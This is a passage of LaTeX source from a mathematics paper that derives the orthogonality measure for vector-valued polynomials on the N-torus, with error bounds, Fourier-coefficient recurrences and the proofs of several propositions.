}, \vert z_{1} \vert ^{2\kappa}\big) \{ \alpha_{0,1} (u_{1}-\widetilde{u}) +\alpha_{1,0}z_{1}\} \\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
+ \{ \alpha_{0,1} ( u_{1}-\widetilde{u} ) +\alpha_{1,0}z_{1} \} ^{\ast}H_{1}\rho\big(\vert z_{1}\vert ^{-2\kappa},\vert z_{1}\vert ^{2\kappa}\big)\\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
\times \{ \alpha_{0,1}(u_{1}-\widetilde{u}) +\alpha_{1,0}z_{1}\} \\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
- \{ \alpha_{0,1} ( u_{2}-\widetilde{u} ) -\alpha_{1,0}z_{2} \} ^{\ast}H_{1}\rho\big(\vert z_{2}\vert ^{-2\kappa},\vert z_{2}\vert ^{2\kappa}\big) \alpha_{00}\\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
-\alpha_{00}^{\ast}H_{1}\rho\big( \vert z_{2}\vert ^{-2\kappa},\vert z_{2}\vert ^{2\kappa}\big) \{ \alpha_{0,1}(
u_{1}-\widetilde{u}) -\alpha_{1,0}z_{1}\} \\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
- \{ \alpha_{0,1} ( u_{2}-\widetilde{u} ) +\alpha_{1,0}z_{2}\} ^{\ast}H_{1}\rho\big(\vert z_{2}\vert ^{-2\kappa
},\vert z_{2}\vert ^{2\kappa}\big)\\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{}
\times \{ \alpha_{0,1}(u_{2}-\widetilde{u}) +\alpha_{1,0}z_{2}\} +O(\delta) .
\end{gather*}
The key fact is that the $\alpha_{00}^{\ast}H_{1}\rho\big( \vert z_{1} \vert ^{-2\kappa}, \vert z_{1} \vert ^{2\kappa}\big) \alpha_{00}$ terms cancel out ($ \vert z_{1} \vert = \vert z_{2} \vert $).
From $\Vert \alpha_{1,0}(x(\widetilde{u},0)) \Vert \leq\frac{(2\lambda) _{2}}{( 1-2\kappa_{0}) }\delta_{1}^{-1}\Vert \alpha_{0}( x(\widetilde{u},0)) \Vert $ and $\Vert \alpha_{0,1}(x(\widetilde{u},0)) \Vert\leq2\lambda\delta_{1}^{-1} \Vert \alpha_{0} ( x ( \widetilde {u},0))\Vert $ (from~(\ref{a0nbd})) $\delta_{1}=\delta_{0}-\vert u\vert =\delta^{1/2}-\delta=\delta^{1/2} (1-\delta^{1/2}) $. Thus the sum of the f\/irst order terms in $K\big(
\eta^{(1) }\big) -K\big( \eta^{(3)}\big)$ is bounded by $c^{\prime\prime\prime} \Vert \alpha_{0} ( x (\widetilde{u},0 ) ) \Vert ^{2}\delta^{1/2-2\vert
\kappa \vert }\big(1-\delta^{1/2}\big) ^{-1} \Vert H_{1}\Vert $, where the constant~$c^{\prime\prime\prime}$ is independent of $x(\widetilde{u},0) $ (but is dependent on $\kappa_{0}$ and~$N$). Note $ \vert u_{1}-\widetilde{u} \vert = \vert u_{2}-\widetilde{u}\vert =\vert z_{1}\vert =\vert z_{2}\vert =\delta$. The second last step is to relate $\Vert \alpha_{0}(x(\widetilde{u},0))\Vert $ to $\Vert L_{1}\big(\eta^{(1)}\big) \Vert $; indeed
\begin{gather*}
L_{1}\big(\eta^{(1)}\big) =\left( \prod\limits_{j=1}^{N}x_{j}^{(1) }\right) ^{-\gamma\kappa}\rho\big(z_{1}^{-\kappa},z_{1}^{\kappa}\big) \left\{ \alpha_{0}( x (\widetilde{u},0)) +\sum_{n=1}^{\infty}\alpha_{n}(x(\widetilde{u},0)) z_{1}^{n}\right\} .
\end{gather*}
Similarly to (\ref{bnd1})
\begin{gather*}
\sum_{n=1}^{\infty}\Vert \alpha_{n}( x( \widetilde{u},0) ) \Vert \vert z\vert ^{n} \leq
c^{\prime}\Vert \alpha_{0}( x(\widetilde{u},0) ) \Vert \left( \frac{\vert z\vert }{\delta_{0}}\right) \left( 1-\frac{\vert z\vert }{\delta_{0}}\right)
^{-2\lambda-1}\\
\hphantom{\sum_{n=1}^{\infty}\Vert \alpha_{n}( x( \widetilde{u},0) ) \Vert \vert z\vert ^{n}}{}
=c^{\prime} \Vert \alpha_{0} ( x(\widetilde{u},0)) \Vert \delta^{1/2}\big(1-\delta^{1/2}\big) ^{-2\lambda-1}\leq c^{\prime\prime}\Vert \alpha_{0}( x( \widetilde{u},0) ) \Vert \delta^{1/2},
\end{gather*}
(if $\delta<\frac{1}{9}$ then $1-\delta^{1/2}>\frac{2}{3}$); thus
\begin{gather*}
\Vert \alpha_{0}(x(\widetilde{u},0)) \Vert \big( 1-c^{\prime\prime}\delta^{1/2}\big) \leq\delta^{-\vert \kappa\vert } \big\Vert L_{1}\big( \eta^{(1)}\big) \big\Vert .
\end{gather*}
By Theorem \ref{Lbnd}
\begin{gather*}
\big\Vert L\big(\eta^{(1)}\big) \big\Vert \leq
c\prod\limits_{1\leq i<j\leq N-1}\vert x_{i}-x_{j}\vert
^{-\vert \kappa\vert }\prod\limits_{j=1}^{N-2}\big\vert
e^{\mathrm{i}\theta_{j}}-e^{\mathrm{i} ( \theta_{N-1}+\delta^{\prime
} ) }\big\vert ^{-\vert \kappa\vert }\big\vert
e^{\mathrm{i}\theta_{N-1}}-e^{\mathrm{i} ( \theta_{N-1}+\delta^{\prime}) }\big\vert ^{-\vert \kappa\vert }\\
\hphantom{\big\Vert L\big(\eta^{(1)}\big) \big\Vert}{}
\leq c\delta^{-\vert \kappa\vert \{ (N+1)(N-2) /2+1\} },
\end{gather*}
because the f\/irst two groups of terms satisfy the bound $\vert x_{i}-x_{j} \vert \geq\delta^{1/2}$. Combining everything we obtain the bound
\begin{gather*}
\big\Vert K\big(\eta^{(1)}\big) -K\big( \eta^{(3) }\big) \big\Vert \leq c^{\prime\prime\prime} \Vert
\alpha_{0}(x(\widetilde{u},0)) \Vert^{2}\delta^{1/2-2\vert \kappa\vert }\big(1-\delta^{1/2}\big)
^{-1} \Vert B_{1} \Vert \\
\hphantom{\big\Vert K\big(\eta^{(1)}\big) -K\big( \eta^{(3) }\big) \big\Vert }{}
\leq c^{\prime\prime} \Vert H_{1} \Vert \delta^{1/2-2 \vert \kappa \vert -\vert \kappa\vert \{ (N+1)(N-2) +2\} }.
\end{gather*}
The constant is independent of $\eta^{(1) }$ and the exponent on~$\delta$ is $\frac{1}{2}-\vert \kappa\vert \big( N^{2}-N+2\big)$. Thus the integral of part~(3) goes to zero as $\delta \rightarrow0$ if $\vert \kappa\vert <\big( 2\big(N^{2}-N+2\big) \big) ^{-1}$. This is a crude bound, considering that we
know everything works for $-1/h_{\tau}<\kappa<1/h_{\tau}$, but as we will see, an open interval of $\kappa$ values suf\/f\/ices.
\begin{Theorem}\label{suffctH}If there exists a Hermitian matrix $H$ such that
\begin{gather*} \upsilon H=H\upsilon \qquad \text{and} \qquad ( L_{1}(x_{0}) ^{\ast})^{-1}HL_{1}(x_{0}) ^{-1}
\end{gather*}
commutes with~$\sigma$, and $-\big(2\big( N^{2}-N+2\big) \big) ^{-1}<\kappa<\big( 2\big( N^{2}-N+2\big) \big) ^{-1}$ then
\begin{gather*}
\int_{\mathbb{T}^{N}}\{ ( x_{i}\mathcal{D}_{i}f(x)
) ^{\ast}L(x) ^{\ast}HL(x) g(x) -f(x) ^{\ast}L(x) ^{\ast}HL(x) x_{i}\mathcal{D}_{i}g(x) \} \mathrm{d}m(x) =0
\end{gather*}
for $f,g\in C^{(1) }\big( \mathbb{T}^{N};V_{\tau}\big)$ and $1\leq i\leq N$.
\end{Theorem}
It is important that we can derive uniqueness of $H$ from the relation, because the conditions $\langle wf,wg\rangle = \langle f,g\rangle $, $\langle x_{i}f,x_{i}g\rangle =\langle f,g \rangle $, and $ \langle x_{i}\mathcal{D}_{i}f,g \rangle = \langle f,x_{i}\mathcal{D}_{i}g \rangle $ for $w\in\mathcal{S}_{N}$ and $1\leq i\leq N$ determine the Hermitian form uniquely up to multiplication by a constant. Thus the measure $K(x) \mathrm{d}m(x)$ is similarly determined, by the density of Laurent polynomials.
\section{The orthogonality measure on the torus}\label{orthmu}
At this point there are two logical threads in the development. On the one hand there is a suf\/f\/icient condition implying the desired orthogonality measure is of the form $L^{\ast}HL\mathrm{d}m$, specif\/ically if $H$ commutes with $\upsilon$, $( L_{1}(x_{0}) ^{\ast})^{-1}HL_{1}(x_{0}) ^{-1}$ commutes with $\sigma$, and $\vert \kappa\vert <( 2( N^{2}-N+2))^{-1}$. However we have not yet proven that $H$ exists. On the other hand in~\cite{Dunkl2016} we showed that there does exist an orthogonality measure of the form $\mathrm{d}\mu=\mathrm{d}\mu_{S}+L^{\ast}HL\mathrm{d}m$ where $\operatorname{spt}\mu_{S}\subset\mathbb{T}^{N}\backslash\mathbb{T}_{\rm reg}^{N}$, $H$~commutes with $\upsilon$, and $-1/h_{\tau}<\kappa<1/h_{\tau}$ (the support of a Baire measure $\nu$, denoted by $\operatorname{spt}\nu$, is the smallest compact set whose complement has $\nu$-measure zero). In the next sections we will show that $( L_{1}(x_{0}) ^{\ast}) ^{-1}HL_{1}(x_{0}) ^{-1}$ commutes with $\sigma$ and that $H$ is an analytic function of $\kappa$ in a complex neighborhood of this interval. Combined with the above suf\/f\/icient condition this is enough to show that there is no singular part, that is, $\mu_{S}=0$. The proof involves the formal dif\/ferential equation satisf\/ied by the Fourier--Stieltjes series of~$\mu$, which is used to show $\mu_{S}=0$ on $\big\{ x\in\mathbb{T}^{N}\colon \#\{x_{j}\} _{j=1}^{N}=N-1\big\} $ (that is, $x$ has at least $N-1$ distinct components). In turn this implies $( L_{1}^{\ast}(x_{0})) ^{-1}HL_{1}(x_{0}) ^{-1}$ commutes with~$\sigma$. The proofs unfortunately are not short. In the sequel $H$ refers to the Hermitian matrix in the formula for $\mathrm{d}\mu$ and $K$ denotes~$L^{\ast}HL$. Also $H$ is positive-def\/inite since the measure~$\mu$ is positive (else there exists a vector $v$ with $Hv=0$ and then the $C^{(1) }\big( \mathbb{T}_{\rm reg}^{N};V_{\tau}\big) $ function given by $f(x) :=L(x) ^{-1}vg(x) $ where~$g$ is a~smooth scalar nonnegative function with support in a~suf\/f\/iciently small neighborhood of $x_{0}$, has norm $ \langle f,f \rangle =0$, a~contradiction). Thus $H$ has a~positive-def\/inite square root $C$ which commutes with $\upsilon$. Now extend~$CL(x) $ from $\mathcal{C}_{0}$ to all of $\mathbb{T}_{\rm reg}^{N}$ by Def\/inition~\ref{DefL(x)T} and so $K(x) =L^{\ast}(x) C^{\ast}CL(x) $ for all $x\in\mathbb{T}_{\rm reg}^{N}$ (this follows from $K(xw) =\tau(w) ^{-1}K(x) \tau(w) $).
Furthermore $\int_{\mathbb{T}^{N}} \Vert K(x)\Vert \mathrm{d}m(x) <\infty$ because $K\mathrm{d}m$ is the absolutely continuous part of the f\/inite Baire measure~$\mu$.
We will show that $(L_{1}^{\ast}(x_{0})) ^{-1}C^{\ast}CL_{1}(x_{0}) ^{-1}$ commutes with $\sigma$. The proof begins by establishing a recurrence relation for the Fourier coef\/f\/icients of $K(x) $, which comes from equation~(\ref{Kdieq}). For~$F(x) $ integrable on~$\mathbb{T}^{N}$, possibly matrix-valued, and $\alpha\in\mathbb{Z}^{N}$ let $\widehat{F}_{\alpha}=\int_{\mathbb{T}^{N}}F(x) x^{-\alpha}\mathrm{d}m(x)$. Clearly $\int_{\mathbb{T}^{N}}x^{\beta}F (x) x^{-\alpha}\mathrm{d}m(x) =\widehat{F}_{\alpha-\beta}$; and if $\partial_{i}F(x) $ is also integrable then
(integration-by-parts)
\begin{gather}
\int_{\mathbb{T}^{N}}x_{i}\partial_{i}F(x) x^{-\alpha}\mathrm{d}m(x) =\alpha_{i}\int_{\mathbb{T}^{N}}F (x) x^{-\alpha}\mathrm{d}m(x) .\label{diffFC}
\end{gather}
For a subset $J\subset\{1,2,\ldots,N\} $ let $\varepsilon_{J}\in\mathbb{N}_{0}^{N}$ be def\/ined by $( \varepsilon_{J}) _{i}=1$ if $i\in J$ and $=0$ otherwise; also $\varepsilon_{i}:=\varepsilon_{\{i\} }$. For $1\leq i\leq N$ let
\begin{gather*}
E_{i} :=\{1,2,\ldots,N\} \backslash\{i\} ,\qquad E_{ij} :=E_{i}\backslash\{j\} ,\\
p_{i}(x) :=\prod\limits_{j\neq i}(x_{i}-x_{j}) =\sum\limits_{\ell=0}^{N-1}(-1) ^{\ell}x_{i}^{N-1-\ell}\sum\limits_{J\subset E_{i},\#J=\ell}x^{\varepsilon_{J}}.
\end{gather*}
Equation (\ref{Kdieq}) can be rewritten as
\begin{gather}
p_{i}(x) x_{i}\partial_{i}K(x) =\kappa\sum_{j\neq i}\prod\limits_{\ell\neq i,j}(x_{i}-x_{\ell}) \{ x_{j}\tau((i,j)) K(x) +K(x) \tau((i,j)) x_{i}\};\label{Kdiffeq1}
\end{gather}
this is a polynomial relation which shows that $p_{i}(x) x_{i}\partial_{i}K(x) $ is integrable and which has implications for the Fourier coef\/f\/icients of~$K$.
\begin{Proposition}
For $1\leq i\leq N$ and $\alpha\in\mathbb{Z}^{N}$ the Fourier coefficients $\widehat{K}$ satisfy
\begin{gather}
\sum_{\ell=0}^{N-1}(-1) ^{\ell}(\alpha_{i}+\ell) \sum\limits_{J\subset E_{i},\, \#J=\ell}\widehat{K}_{\alpha+\ell\varepsilon_{i}-\varepsilon_{J}}\nonumber\\
\qquad{} =\kappa\sum_{j\neq i}\sum_{\ell=0}^{N-2}(-1) ^{\ell}\sum_{J\subset E_{ij},\, \#J=\ell}\big\{ \tau ( (i,j)) \widehat{K}_{\alpha+\ell\varepsilon_{i}-\varepsilon_{j}-\varepsilon_{J}}+\widehat{K}_{\alpha+(l+1) \varepsilon
_{i}-\varepsilon_{J}}\tau((i,j))\big\}.\label{FCrec}
\end{gather}
\end{Proposition}
\begin{proof} Multiply both sides of (\ref{Kdiffeq1}) by $x_{i}^{1-N}$; this makes the terms homogeneous of degree zero. Suppose $j\neq i$ then
\begin{gather*}
x_{i}^{1-N}\prod\limits_{\ell\neq i,j}(x_{i}-x_{\ell}) =\prod\limits_{\ell\neq i,j}\left( 1-\frac{x_{\ell}}{x_{i}}\right)
=\sum_{\ell=0}^{N-2}(-1) ^{\ell}x_{i}^{-\ell}\sum_{J\subset E_{ij},\, \#J=\ell}x^{\varepsilon_{J}}.
\end{gather*}
Multiply the right side by $x^{-\alpha}\mathrm{d}m(x) $ and integrate over $\mathbb{T}^{N}$ to obtain%
\begin{gather*}
\kappa\sum_{j\neq i}\sum_{\ell=0}^{N-2}(-1) ^{\ell}\sum_{J\subset E_{ij},\, \#J=\ell}\big\{ \tau( (i,j)) \widehat{K}_{\alpha+\ell\varepsilon_{i}-\varepsilon_{j}%
-\varepsilon_{J}}+\widehat{K}_{\alpha+(l+1) \varepsilon_{i}-\varepsilon_{J}}\tau((i,j)) \big\} .
\end{gather*}
The sum is zero unless $\alpha\in\boldsymbol{Z}_{N}$ where $\boldsymbol{Z}_{N}:=\Big\{ \alpha\in\mathbb{Z}^{N}\colon \sum\limits_{j=1}^{N}\alpha_{j}=0\Big\} $, by the homogeneity. For the left side start with~(\ref{diffFC}) applied to $x_{i}^{1-N}p_{i}(x) x_{i}\partial_{i}K(x) $
\begin{gather*}
(\alpha_{i}+N-1) \int_{\mathbb{T}^{N}}p_{i}(x)K(x) x_{i}^{1-N}x^{-\alpha}\mathrm{d}m(x) \\
\qquad{} =\int_{\mathbb{T}^{N}}\big\{ ( x_{i}\partial_{i}p_{i}(
x) ) K(x) +p_{i}(x) (x_{i}\partial_{i}K(x) ) \big\} x_{i}^{1-N}x^{-\alpha}\mathrm{d}m(x) ,\\
\int_{\mathbb{T}^{N}}p_{i}(x)( x_{i}\partial _{i}K(x)) x_{i}^{1-N}x^{-\alpha}\mathrm{d}m (x) \\
\qquad{} =\int_{\mathbb{T}^{N}}( (\alpha_{i}+N-1) p_{i} ( x) -x_{i}\partial_{i}p_{i}(x) ) K(x)
x_{i}^{1-N}x^{-\alpha}\mathrm{d}m(x) \\
\qquad{} =\int_{\mathbb{T}^{N}}\sum_{\ell=0}^{N-1}(-1) ^{\ell} (\alpha_{i}+\ell ) x_{i}^{-\ell}\sum\limits_{J\subset E_{i},\#J=\ell
}x^{\varepsilon_{J}}K(x) x^{-\alpha}\mathrm{d}m(x)\\
\qquad{} =\sum_{\ell=0}^{N-1}(-1) ^{\ell} ( \alpha_{i}+\ell ) \sum\limits_{J\subset E_{i},\#J=\ell}\widehat{K}_{\alpha+\ell\varepsilon_{i}-\varepsilon_{J}}.
\end{gather*}
Combining the two sides f\/inishes the proof. If $\alpha\notin\boldsymbol{Z}_{N}$ then both sides are trivially zero.
\end{proof}
This system of recurrences has the easy (and quite undesirable) solution~$\widehat{K}_{\alpha}=I$ for all $\alpha\in\boldsymbol{Z}_{N}$ and~$0$ otherwise. The right side becomes $2\kappa\sum\limits_{j\neq i}\tau ((i,j)) \sum\limits_{\ell=0}^{N-2}(-1) ^{\ell}\binom {N-2}{\ell}=0$ (for $N\geq3$, an underlying assumption), and the left side is $\sum\limits_{\ell=0}^{N-1}(-1) ^{\ell}(\alpha_{i}+\ell) \binom{N-1}{\ell}I=0$. This~$\widehat{K}$ corresponds to the measure $\frac {1}{2\pi}\mathrm{d}\theta$ on the circle $\big\{ e^{\mathrm{i}\theta} (1,\ldots,1 ) \colon -\pi<\theta\leq\pi\big\}$. Next we show that $\widehat{\mu}_{\alpha}:=\int_{\mathbb{T}^{N}}x^{-\alpha}\mathrm{d}\mu (x ) $ satisf\/ies the same recurrences. Proposition~5.2 of~\cite{Dunkl2016} asserts that if $\alpha,\beta\in\mathbb{N}_{0}^{N}$ and $\sum\limits_{j=1}^{N}(\alpha_{j}-\beta_{j}) =0$ then
\begin{gather}
( \alpha_{i}-\beta_{i}) \widehat{\mu}_{\alpha-\beta}
=\kappa\sum_{\alpha_{j}>\alpha_{i}}\sum_{\ell=1}^{\alpha_{j}-\alpha_{i}}\tau((i,j)) \widehat{\mu}_{\alpha+\ell(
\varepsilon_{i}-\varepsilon_{j}) -\beta}\nonumber\\
\hphantom{( \alpha_{i}-\beta_{i}) \widehat{\mu}_{\alpha-\beta} }{}
-\kappa\sum_{\alpha_{i}>\alpha_{j}}\sum_{\ell=0}^{\alpha_{i}-\alpha_{j}
-1}\tau((i,j)) \widehat{\mu}_{\alpha+\ell(
\varepsilon_{j}-\varepsilon_{i}) -\beta} -\kappa\sum_{\beta_{j}>\beta_{i}}\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\widehat{\mu}_{\alpha-\ell( \varepsilon_{i}-\varepsilon_{j})
-\beta}\tau((i,j)) \nonumber\\
\hphantom{( \alpha_{i}-\beta_{i}) \widehat{\mu}_{\alpha-\beta} }{}
+\kappa\sum_{\beta_{i}>\beta_{j}}\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\widehat{\mu}_{\alpha-\ell(\varepsilon_{j}-\varepsilon_{i})
-\beta}\tau((i,j)) .\label{A(a-b)}
\end{gather}
The relation $\tau(w) ^{\ast}\widehat{\mu}_{w\alpha}\tau (w) =\widehat{\mu}_{\alpha}$ is shown in \cite[Theorem~4.4]{Dunkl2016}. Introduce Laurent series $\sum\limits_{\alpha\in\boldsymbol{Z}_{N}}B_{\alpha}^{(i,j) }x^{\alpha}$ ($i\neq j$) satisfying
\begin{gather*}
B_{\alpha}^{(i,j) }-B_{\alpha+\varepsilon_{i}-\varepsilon_{j}}^{(i,j) } =\widehat{\mu}_{\alpha},\qquad
B_{\alpha-\alpha_{j}(\varepsilon_{j}-\varepsilon_{i}) }^{(i,j) } =0,
\end{gather*}
note
\begin{gather*}
\alpha-\alpha_{j}(\varepsilon_{j}-\varepsilon_{i}) = \big(\ldots,\overset{i}{\alpha_{i}+\alpha_{j}},\ldots,\overset{j}{0},\ldots
,\overset{\ell}{\alpha_{\ell}},\ldots \big) , \qquad \ell\neq i,j.
\end{gather*}
The purpose of the def\/inition is to produce a formal Laurent series satisfying
\begin{gather*}
\left( 1-\frac{x_{j}}{x_{i}}\right) \sum_{\alpha}B_{\alpha}^{(i,j) }x^{\alpha}=\sum_{\alpha}\widehat{\mu}_{\alpha}x^{\alpha}.
\end{gather*} The ambiguity in the solution is removed by the second condition (note that $\sum_{\alpha}\big( B_{\alpha}^{(i,j) }-cI\big) x^{\alpha}$ also solves the f\/irst equation for any constant~$c$).
\begin{Proposition}\label{Bij-Bji}Suppose $i\neq j$ and $\alpha\in\boldsymbol{Z}_{N}$ then $B_{\alpha}^{(i,j)}\tau((i,j))=\tau((i,j))B_{(i,j)\alpha}^{(j,i)}$.
\end{Proposition}
\begin{proof} Start with $\widehat{\mu}_{\alpha}\tau((i,j)) =\tau((i,j)) \widehat{\mu}_{(i,j) \alpha}$ and the def\/ining relations
\begin{gather*}
B_{\alpha}^{(i,j) }\tau((i,j))-B_{\alpha+\varepsilon_{i}-\varepsilon_{j}}^{(i,j) }\tau((i,j)) =\widehat{\mu}_{\alpha}\tau((i,j)) ,\\
\tau((i,j)) B_{(i,j) \alpha}^{(j,i) }-\tau((i,j)) B_{(i,j) \alpha+\varepsilon_{j}-\varepsilon_{i}}^{(j,i)}=\tau((i,j)) \widehat{\mu}_{(i,j)\alpha};
\end{gather*}
subtract the second equation from the f\/irst:
\begin{gather*}
B_{\alpha}^{(i,j) }\tau((i,j))-\tau((i,j)) B_{(i,j) \alpha}^{(j,i) }=B_{\alpha+\varepsilon_{i}-\varepsilon_{j}}^{(i,j) }\tau((i,j)) -\tau((i,j)) B_{(i,j) \alpha+\varepsilon_{j}-\varepsilon_{i}}^{(j,i) }.
\end{gather*}
By two-sided induction
\begin{gather*}
B_{\alpha}^{(i,j) }\tau((i,j))-\tau((i,j)) B_{(i,j) \alpha}^{(j,i) }=B_{\alpha+s( \varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }\tau((i,j))-\tau((i,j)) B_{(i,j)
\alpha+s(\varepsilon_{j}-\varepsilon_{i}) }^{(j,i)}
\end{gather*}
for all $s\in\mathbb{Z}$, in particular for $s=\alpha_{j}$ where the right hand side vanishes by def\/inition.
\end{proof}
\begin{Theorem}For $\gamma\in\boldsymbol{Z}_{N}$ and $1\leq i\leq N$
\begin{gather}
\gamma_{i}\widehat{\mu}_{\gamma}=\kappa\sum_{j\neq i}\big\{{-}\tau ((i,j)) B_{\gamma}^{(j,i) }+B_{\gamma}^{(i,j) }\tau((i,j)) \big\}.\label{Btomu}
\end{gather}
\end{Theorem}
\begin{proof}
The proof involves a number of cases (for each $(i,j) $ whether $\gamma_{i}\geq0$ or $\gamma_{i}<0$, $\gamma_{j}\geq0$ or $\gamma_{j}<0$). Consider equation~(\ref{A(a-b)}), in the terms on the f\/irst line (with $\tau((i,j))$ acting on the left) use the substitution $\widehat{\mu}_{\delta}=B_{\delta}^{(j,i)}-B_{\delta-\varepsilon_{i}+\varepsilon_{j}}^{(j,i) }$, and for the terms on the second line (with $\tau((i,j))$ acting on the right) use the substitution $\widehat{\mu}_{\delta}=B_{\delta }^{(i,j) }-B_{\delta+\varepsilon_{i}-\varepsilon_{j}}^{(i,j)}$. Set $\alpha_{\ell}=\max(\gamma_{\ell},0) $ and $\beta_{\ell}=\max ( 0,-\gamma_{\ell} ) $ for $1\leq\ell\leq N$, thus $\gamma=\alpha-\beta$. The left hand side is $( \alpha_{i}-\beta_{i}) \widehat{\mu}_{\alpha-\beta}=\gamma_{i}\widehat{\mu}_{\gamma}$. We consider two possibilities separately: (i) $\alpha_{i}\geq0$, $\beta_{i}=0$; (ii) $\alpha_{i}=0$, $\beta_{i}>0$; and describe the typical $\tau((i,j)) $ terms. The sums over~$\ell$ telescope. In the following any term of the form $\tau((i,j)) \widehat{\mu}_{\cdot}$ or $\widehat{\mu}_{\cdot}\tau((i,j)) $ not mentioned explicitly is zero. Proposition~\ref{Bij-Bji} is used in each case. For case (i) and $\alpha_{j}>\alpha_{i}$
\begin{gather*}
\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}-\alpha_{i}}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{i}-\varepsilon_{j} )-\beta}=\tau((i,j)) \sum_{\ell=1}^{\alpha
_{j}-\alpha_{i}}\big( B_{\gamma+\ell( \varepsilon_{i}-\varepsilon_{j}) }^{(j,i) }-B_{\gamma+\ell ( \varepsilon_{i}-\varepsilon_{j}) -\varepsilon_{i}+\varepsilon_{j}}^{(j,i) }\big) \\
\hphantom{\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}-\alpha_{i}}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{i}-\varepsilon_{j} )-\beta}}{}
=\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}-\alpha
_{i}}\big( B_{\gamma+\ell ( \varepsilon_{i}-\varepsilon_{j} )
}^{(j,i) }-B_{\gamma+(\ell-1) (\varepsilon_{i}-\varepsilon_{j}) }^{(j,i) }\big)\\
\hphantom{\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}-\alpha_{i}}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{i}-\varepsilon_{j} )-\beta}}{}
=\tau((i,j)) \big( B_{\gamma+ ( \alpha_{j}-\alpha_{i})( \varepsilon_{i}-\varepsilon_{j})}^{(j,i) }-B_{\gamma}^{(j,i) }\big) \\
\hphantom{\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}-\alpha_{i}}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{i}-\varepsilon_{j} )-\beta}}{}
=\tau((i,j)) \big( B_{(i,j)\gamma}^{(j,i) }-B_{\gamma}^{(j,i) }\big)=-\tau((i,j)) B_{\gamma}^{(j,i)}+B_{\gamma}^{(i,j) }\tau((i,j))
\end{gather*}
For case (i) and $\alpha_{i}>\alpha_{j}\geq0=\beta_{j}$
\begin{gather*}
-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-\alpha_{j}-1}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{j}-\varepsilon_{i}) -\beta} =-\tau((i,j)) \sum
_{\ell=0}^{\alpha_{i}-\alpha_{j}-1}\big( B_{\gamma+\ell (\varepsilon_{j}-\varepsilon_{i}) }^{(j,i) }-B_{\gamma+( \ell+1)( \varepsilon_{i}-\varepsilon
_{j}) }^{(j,i) }\big) \\
\hphantom{-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-\alpha_{j}-1}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{j}-\varepsilon_{i}) -\beta}}{}
=-\tau((i,j)) \big( B_{\gamma}^{(j,i) }-B_{(i,j) \gamma}^{(j,i) }\big)\\
\hphantom{-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-\alpha_{j}-1}\widehat{\mu}_{\alpha+\ell ( \varepsilon_{j}-\varepsilon_{i}) -\beta}}{}
=-\tau((i,j)) B_{\gamma}^{(j,i)}+B_{\gamma}^{(i,j) }\tau((i,j)) ,
\end{gather*}
note $\gamma+(\alpha_{i}-\alpha_{j}) ( \varepsilon_{j}-\varepsilon_{i}) =(i,j) \gamma$. For case (i) and $\alpha_{i}>\alpha_{j}=0>-\beta_{j}$
\begin{gather*}
-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-1}\widehat{\mu}_{\alpha+\ell(\varepsilon_{j}-\varepsilon_{i})-\beta} =-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-1}\big( B_{\gamma+\ell ( \varepsilon_{j}-\varepsilon_{i}) }^{(j,i) }-B_{\gamma+(\ell+1) (\varepsilon_{j}-\varepsilon_{i}) }^{(j,i) }\big) \\
\hphantom{-\tau((i,j)) \sum_{\ell=0}^{\alpha_{i}-1}\widehat{\mu}_{\alpha+\ell(\varepsilon_{j}-\varepsilon_{i})-\beta}}{}
=-\tau((i,j)) \big( B_{\gamma}^{(j,i)}-B_{\gamma+\gamma_{i}( \varepsilon_{j}-\varepsilon_{i}) }^{(j,i) }\big) ,
\\
-\sum_{\ell=1}^{\beta_{j}}\widehat{\mu}_{\alpha-\ell(\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau((i,j))=
-\sum_{\ell=1}^{\beta_{j}}\big( B_{\gamma-\ell ( \varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }-B_{\gamma-\ell(\varepsilon_{i}-\varepsilon_{j})+\varepsilon_{i}-\varepsilon_{j}}^{(i,j) }\big) \tau((i,j)) \\
\hphantom{-\sum_{\ell=1}^{\beta_{j}}\widehat{\mu}_{\alpha-\ell(\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau((i,j))}{}
=-\sum_{\ell=1}^{\beta_{j}}\big( B_{\gamma-\ell ( \varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }-B_{\gamma-(\ell-1) ( \varepsilon_{i}-\varepsilon_{j}) }^{(
i,j) }\big) \tau((i,j))\\
\hphantom{-\sum_{\ell=1}^{\beta_{j}}\widehat{\mu}_{\alpha-\ell(\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau((i,j))}{}
=\big(B_{\gamma}^{(i,j) }-B_{\gamma+\gamma_{j}( \varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }\big) \tau((i,j))
\end{gather*}
let $\delta=\gamma+\gamma_{i}(\varepsilon_{j}-\varepsilon_{i}) $ then $\delta_{k}=\gamma_{k}$ for $k\neq i,j$, $\delta_{i}=0$, and $\delta_{j}=\gamma_{i}+\gamma_{j}$; also $(i,j) \delta=\gamma+\gamma_{j}( \varepsilon_{i}-\varepsilon_{j})$. Thus the sum of the terms for this case is
\begin{gather*}
